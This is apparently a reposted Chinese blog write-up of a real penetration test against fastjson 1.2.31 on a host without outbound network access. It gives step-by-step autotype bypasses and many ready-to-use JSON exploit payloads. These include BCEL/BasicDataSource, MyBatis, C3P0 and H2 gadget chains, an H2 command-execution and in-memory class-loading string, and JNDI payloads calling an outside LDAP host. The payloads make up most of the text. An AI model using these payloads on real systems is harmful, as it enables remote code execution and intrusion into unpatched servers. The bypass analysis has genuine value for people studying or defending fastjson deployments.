一次实战不出网fastjson1.2.31
2023-6-27 16:24:37 Author: 珂技知识分享(查看原文) 阅读量:29 收藏

1.    信息收集和探测

某次项目中很轻易挖掘了出fastjson的漏洞,但意外的发现目标既不出网也没有dns,因此实际利用过程中造成了很大困扰,没有任何提示只能盲打实在是比较痛苦。不过好在官网有旧版源码下载,fastjson版本和依赖好歹能够得到确认。

如果没有源码,就必须利用fastjson的一些特性去探测,这篇文章总结的比较全面。
https://blog.csdn.net/m0_71692682/article/details/125814861
但目标环境不出网也没有dnslog,更没有java报错,这种情况如何探测呢?可以找这么一个提示参数是否为空的接口。

{  "data":"test",  "authenType":"test"}

然后使用一个可能会导致当前fastjson报错的payload,这样如果payload通过,接口就会读取到data参数,如果fastjson无法解析导致报错就会依旧提示data为空。

{  "@type": "com.sun.rowset.JdbcRowSetImpl",  "data":"test",  "authenType":"test"}

至于哪些payload在哪个fastjson版本会报错,哪些不会,就需要根据经验自己去试了。一般来说,要利用的是fastjon的如下机制。
1.2.24之前未限制autotype。
1.2.25-1.2.47的java.lang.Class绕过。
1.2.43/1.2.44关于L;[字符的修复。
1.2.36开始支持非bean的类反序列化。
1.2.36-1.2.68的AutoCloseable绕过。
1.2.73-1.2.80的Exception绕过
每个小版本ParserConfig中的黑名单类有细微差别。

2.    开启@type的水链

fastjson复习到这里,我们开始对目标进行实际攻击,在攻击过程中,惊喜的发现目标是开启autotype的(然而事实上开启autotype反而造成了非常大的困扰),那么结合1.2.31的黑名单和依赖,那些fastjson水链就能派上用场了。

bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernate,org.jbossorg.mozilla.javascriptorg.python.coreorg.springframework


比如

{  "@type":"ch.qos.logback.core.db.JNDIConnectionSource",  "jndiLocation":"ldap://2.2.2.2:1389/deser:cb19:tomcatecho"}


除此之外,很显然1.2.43的L;也能绕过。

{  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",   "dataSourceName": "ldap://2.2.2.2:1389/deser:cb19:tomcatecho",   "autoCommit": true}

但因为目标环境不出网,jndi显然无法使用,我们需要不出网链。

3.    DataSource+Becl利用链

先pass掉TemplatesImpl,由于要设置SupportNonPublicField,所以这是一个理论链。
而1.2.68的那些文件写入链,需要非bean的反序列化,1.2.31还不支持。
自然而然来到了becl链,其仅仅依赖tomcat-dbcp和低版本JDK,是最常用的一个不出网利用链。

{    {        "aaa": {            "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",            "driverClassLoader": {                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"            },            "driverClassName": "$$BCEL$$$XXXXXX"        }    }: "bbb"}

当然,这是1.2.24版本的链,用在1.2.31上需要进行绕过,如果简单粗暴的用L;行不行呢?当然不行,1.2.31有着三重防护。

1,默认关闭autotype,目标打开了。
2,ParserConfig.denyList存在黑名单包名,不过由于是用startsWith匹配的,所以出现了L;的绕过,可以参考上面的com.sun.rowset.JdbcRowSetImpl绕过。
3,对于tomcat-dbcp+becl链,作者给了足够的尊重,另外写了一个if,专门用来捕获ClassLoader和DataSource这两个危险类。

因此,我们要采取1.2.47的绕过,它利用java.lang.Class将恶意类放入TypeUtils.mappings当中,使得checkAutoType()中关键的两个检测被绕过,提前return规避了检测。

因此下面这个payload应运而生。

{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "b": {        "@type": "java.lang.Class",        "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"    },    {        "aaa": {            "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",            "driverClassLoader": {                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"            },            "driverClassName": "$$BCEL$$$XXXXXX"        }    }: "bbb"}

但是很多人在实战中发现这个payload用不了,事实上它也仅能用于1.2.33-1.2.36,并不能在目标1.2.31上用。

不能在1.2.37上使用的的原因在于,原本这个payload的最终利用点在于BasicDataSource.getConnection()。虽然代码上看不出来,实际上{}:"bbb"这种写法会触发toString()然后轮询所有的Field,触发所有的getter。核心代码和堆栈如下。

但是到了1.2.37,这里代码变了,去掉了toString

因此无法再靠{}:"bbb"触发getter,解决办法也很简单,用$ref就行。
1.2.36-1.2.47

{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "b": {        "@type": "java.lang.Class",        "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"    },    "c": {        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",        "driverClassLoader": {            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"        },        "driverClassName": "$$BCEL$$$XXXXXX",        "foo": {            "$ref": "$.c.connection"        }    }}

而1.2.31不能用的原因在于1.2.31和1.2.33中checkAutoType()的这两段代码的不同,这也是最终这个链失败的核心原因。
1.2.31

1.2.33

1.2.33多了mapping的校验,这导致即使恶意类在黑名单内,但只要将其加入mappings,这个if就过不了,也不会抛错。那为什么在1.2.31很多其他在黑名单的类也能够用java.lang.Class绕过呢?比如com.sun.rowset.JdbcRowSetImpl
1.2.25-1.2.47

{    "a": {        "@type": "java.lang.Class",         "val": "com.sun.rowset.JdbcRowSetImpl"    },     "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",         "dataSourceName": "rmi://127.0.0.1:1099/Object",         "autoCommit": true    }}

这是因为JdbcRowSetImpl是从DefaultJSONParser.parseObject()进入的,expectClass为null,if过不了,直接不进入这段检测。
而ClassLoader作为BasicDataSource的属性是从JavaBeanDeserializer.deserialze()进入的。

如何让ClassLoader也从DefaultJSONParser.parseObject()进入呢?这需要其他办法来调用setter,下面这篇文章给出了一份完美答案。
https://www.anquanke.com/post/id/283079
POC1

[{    "@type": "java.lang.Class",    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"}, {    "@type": "java.lang.Class",    "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}, ]

POC2

[{    "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",    "driverClassLoader": {        "$ref": "$[1]"    },    "driver": "$$BCEL$$$xxxxxx"}, {    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",    "": ""}, {    "@type": "com.alibaba.fastjson.JSONObject",    "connection": {}}, {    "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",    "driver": {        "$ref": "$.connection"    }}]

java.lang.Class设置mappings的技巧一致,接下来使用了$ref的技巧调用setDriverClassLoader(),规避了JavaBeanDeserializer.deserialze()。手动触发getConnection()使用了$ref+JSONObject的写法,非常的巧妙。

但原作者给出的payload是两个数组,需要发两次包,且必须用parse()或者parseArray()触发,实战中更常见的是parseObject()。因此稍微改造下。

{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "b": {        "@type": "java.lang.Class",        "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"    },    "c": [{        "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",        "driverClassLoader": {            "$ref": "$.c[1]"        },        "driver": "$$BCEL$$$XXXXX"    }, {        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",        "": ""    }, {        "@type": "com.alibaba.fastjson.JSONObject",        "connection": {}    }, {        "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",        "driver": {            "$ref": "$.c.connection"        }    }]}


同理BasicDataSource 1.2.31利用链也可以构造出来了。

{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "b": {        "@type": "java.lang.Class",        "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"    },    "c": [{        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",        "driverClassLoader": {            "$ref": "$.c[1]"        },        "driverClassName": "$$BCEL$$$XXXXXX"    }, {        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",        "": ""    }, {        "@type": "com.alibaba.fastjson.JSONObject",        "connection": {}    }, {        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",        "driverClassName": {            "$ref": "$.c.connection"        }    }]}


这条链看似已经完美,但依旧无法在目标上使用,因为对方是开启了autotype的,我们费尽心思使expectClass为null所规避的代码,却还有另一个条件。

也就是说,目标1.2.31且开启autotype,会让className.startsWith(deny)避无可避,只能正面应对。那用L;规避呢?确实能够侥幸过denyList黑名单检测,但同时也会导致无法从mappings中取出clazz

最终只能走TypeUtils.loadClass()去掉L;取出clazz,此时已经错过所有提前return的地方,势不可挡的来到了ClassLoader和DataSource的专项检测。

因此可以总结,L;绕过是无法应对ClassLoader和DataSource的,DataSource 1.2.31利用链仅适用于两种情况。
1.2.31-1.2.47未开启autotype
1.2.33-1.2.47开启autotype

也就是说,BasicDataSource链最多也就覆盖1.2.31-1.2.47。原作者使用的mybatis的UnpooledDataSource实际上是为了代替tomcat-dbcp的BasicDataSource,实际上这种类还有几个,搜setDriverClassLoader()可以发现。

druid-1.2.8.jar!com.alibaba.druid.pool.DruidAbstractDataSourcecommons-dbcp-1.4.jar!org.apache.commons.dbcp.BasicDataSourcecommons-dbcp2-2.9.0!org.apache.commons.dbcp2.BasicDataSource

其中DruidAbstractDataSource由于没有无参构造函数不被认为是bean,其他两个可以正常平替tomcat-dbcp。

4.    C3P0利用链

那么不出网利用链就只剩下了C3P0二次反序列化链,有了BasicDataSource的构造经验,这个就简单多了,com.mchange.v2.c3p0.WrapperConnectionPoolDataSource虽然是DataSource结尾但父类不是DataSource。
1.2.24

{    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",     "userOverridesAsString": "HexAsciiSerializedMap:ACEDXXXX;"}

1.2.25-1.2.42,开启autotype

{    "@type": "LLcom.mchange.v2.c3p0.WrapperConnectionPoolDataSource;;",     "userOverridesAsString": "HexAsciiSerializedMap:ACEDXXXXXX;"}

1.2.25-1.2.47未开启autotype
1.2.33-1.2.47开启autotype

{    "a": {        "@type": "java.lang.Class",         "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"    },     "b": {        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",         "userOverridesAsString": "HexAsciiSerializedMap:ACEDXXXXX;"    }}

因为c3p0不需要面对ClassLoader和DataSource的单独检测,覆盖面比BasicDataSource要大。

5.    h2利用链

https://www.anquanke.com/post/id/283079文章中还提到了h2利用链,也是个DataSource链,但是不依赖Becl。
其中h2这个jar包比较别扭,其没用-g编译,导致没有LocalVariableTable,即无法反序列化非Bean的类。也就无法参与后续的AutoCloseable绕过,但是反序列化Bean触发getConnection()还是没什么问题的。以下只给出最复杂的1.2.31-1.2.47链,其他请自行构造。

{    "a": {        "@type": "java.lang.Class",        "val": "org.h2.jdbcx.JdbcDataSource"    },    "b": [{            "@type": "org.h2.jdbcx.JdbcDataSource",            "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc\")\\; }'\\;CALL EXEC ()\\;"        },        {            "@type": "com.alibaba.fastjson.JSONObject",            "connection": {}        }, {            "@type": "org.h2.jdbcx.JdbcDataSource",            "url": {                "$ref": "$.b.connection"            }        }    ]}

原文中可能为了打内存马,还给出了classloader的写法。

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"base64classcode\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;

结合依赖和各个链的原理,最终选择了c3p0链完成漏洞利用。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486408&idx=1&sn=96d434b5fc3d49857c0a3e42b9b1d04d&chksm=fa9736a7cde0bfb160e625a7c1d513fec9f9e5b00397518f21888f66665c9302bfad1c7339a0#rd
如有侵权请联系:admin#unsafe.sh